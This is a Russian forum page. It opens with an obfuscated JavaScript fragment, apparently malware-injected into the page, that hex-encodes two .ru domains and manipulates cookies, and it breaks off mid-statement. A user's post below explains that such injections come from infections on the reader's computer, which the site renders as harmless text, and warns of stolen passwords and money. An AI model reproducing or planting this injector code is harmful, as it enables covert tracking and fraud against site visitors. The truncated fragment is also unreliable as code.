window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Пока программисты спят, я вам расскажу.
Ваш комп словил вирусов и троянов с сети.
Самописный движок данного сайта не отсекает их, когда они пытаются внедриться в ответ.
Но, тут это не страшно. Как видите, внедрёнка движком экранируется и становится безопасным текстом.

Однако, на вашем компе сидят вирусы с троянами и прочими червями. И шлют что надо с вашего компа, куда надо. Так что, если однажды обнаружите, что три сребреника с вашей карты испарились, или вдруг с сотового деньги потекли, или ещё какая напасть, то вы сами себе злобный буратино. Ведь вирусы, трояны и прочая пакость, они не развлекаться к вам на ком пришли.
А качать пин-коды, пароли, залазить в почту и превращать ваш комп в средство массовой рассылки.  И т.д.
  • +0.15 / 4
  • АУ
Сейчас на ветке: 10, Модераторов: 1, Пользователей: 0, Гостей: 7, Ботов: 2
 
Uncle Ben